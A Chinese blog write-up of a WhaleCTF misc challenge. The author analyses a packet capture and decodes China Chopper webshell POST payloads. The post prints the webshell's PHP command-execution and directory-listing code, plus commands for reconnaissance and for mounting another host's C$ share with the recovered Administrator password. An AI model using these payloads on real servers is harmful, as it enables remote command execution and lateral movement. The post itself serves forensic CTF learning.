Writeup of 黑客攻击(Misc) in WhaleCTF

最新推荐文章于 2024-04-18 21:15:51 发布

C0ss4ck

最新推荐文章于 2024-04-18 21:15:51 发布

阅读量1.7k

点赞数

分类专栏： MISC_of_CTF 文章标签： CTF MISC wireshark

本文链接：https://blog.csdn.net/cossack9989/article/details/79241661

版权

MISC_of_CTF 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

题目要求获取Administrator的密码。首先使用wireshark分析流量包。

身为一个web方向重度残疾的二进制手，做这道题真是走了不少弯路。

比如说之前追踪TCP流在文件里找Administrator找password最后啥有用的也没找着（不是很懂黑客攻击的原理OTZ）

后来发现了inetpub\wwwroot，并且猜测黑客应该是用菜刀来取webshell，首先需要访问服务器，于是过滤HTTP包，去看看这个黑客到底干了啥——

依次观察POST过去的数据(base64decode之后)；

第1个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

->|c:\inetpub\wwwroot\tC:\tWindows NT ROOT-53DD5427BC 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 2) i586(NETWORK SERVICE)|<-

第2个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

->|nt authority\network service\r\n
[S]\r\n
c:\inetpub\wwwroot\r\n
[E] \r\n
|<-

第3个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&arp -a&echo [S]&cd&echo [E]

->| 
Interface: 192.168.30.170 --- 0x10003 
  Internet Address      Physical Address      Type 
  192.168.30.2          00-50-56-e2-70-33     dynamic    
  192.168.30.101        00-0c-29-6e-cf-cb     dynamic    
  192.168.30.184        00-50-56-23-46-15     dynamic    
[S] 
c:\inetpub\wwwroot 
[E]  
|<-

第4个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
cmd
cd /d "c:\inetpub\wwwroot\"&net use \\192.168.30.184\C$ "Test!@#123" /u:Administrator&echo [S]&cd&echo [E]

->|.............. 
 
[S] 
c:\inetpub\wwwroot 
[E]  
|<-

第5个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
c:\\inetpub\\wwwroot\\

->|./ 2014-11-14 21:55:23 0 0777
../ 2014-09-14 21:21:11 0 0777
aspnet_client/ 2014-09-14 21:21:44 0 0777
backup/ 2014-11-14 22:31:22 0 0777
codeaudit/ 2014-10-19 13:16:56 0 0777
images/ 2014-11-14 21:50:37 0 0777
phpMyAdmin/ 2014-09-13 11:52:02 0 0777
rjzzgc/ 2014-10-14 16:16:02 0 0777
syc/ 2014-09-25 15:06:18 0 0777
1.html 2014-10-03 11:43:46 26 0666
CodeIgniter_2.2.0.zip 2014-10-13 21:07:16 2327811 0666
config.php 2014-11-14 21:04:26 35 0666
form.html 2014-10-03 12:23:50 1529 0666
form1.log 2014-10-03 13:16:37 82 0666
form1.php 2014-10-03 11:57:43 132 0666
form2.log 2014-10-03 12:24:10 83 0666
form2.php 2014-10-03 11:57:52 132 0666
getflag.php 2014-09-29 13:26:32 850 0666
probe.php 2014-10-03 11:50:33 4353 0666
rjzzgc.rar 2014-10-22 20:37:25 424676 0666
test.html 2014-10-12 21:09:53 305 0666
test.php 2014-10-03 11:51:03 70 0666
track.js 2014-10-03 13:22:05 1211 0666
|<-

第6个包：

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
\\192.168.30.184\C$\

->|$Recycle.Bin/ 2009-07-14 10:34:39 0 0777
Boot/ 2014-04-25 04:40:17 4096 0777
Documents and Settings/ 2009-07-14 13:06:44 0 0777
PerfLogs/ 2009-07-14 11:20:08 0 0777
Program Files/ 2014-04-24 12:48:06 4096 0555
Program Files (x86)/ 2009-07-14 13:06:53 4096 0555
ProgramData/ 2014-04-24 12:48:06 4096 0777
Recovery/ 2014-04-24 12:45:44 0 0777
System Volume Information/ 2014-04-25 03:41:50 4096 0777
Users/ 2014-04-24 12:51:44 4096 0555
Windows/ 2014-04-24 12:46:28 16384 0777
bootmgr 2010-11-21 11:24:02 383786 0444
BOOTSECT.BAK 2014-04-25 04:40:17 8192 0444
pagefile.sys 2014-11-14 22:42:36 1073741824 0666
|<-

不难发现，攻击过程是——黑客访问服务器，检查了自己的权限并且进行了arp嗅探，准备进行渗透；随后输入密码使用192.168.30.184的Administrator身份，取得了管理员权限；之后就是读文件目录（为所欲为23333）

就这样我们得知了Administrator的password，即 Test!@#123，并且围观了一次“黑客攻击”。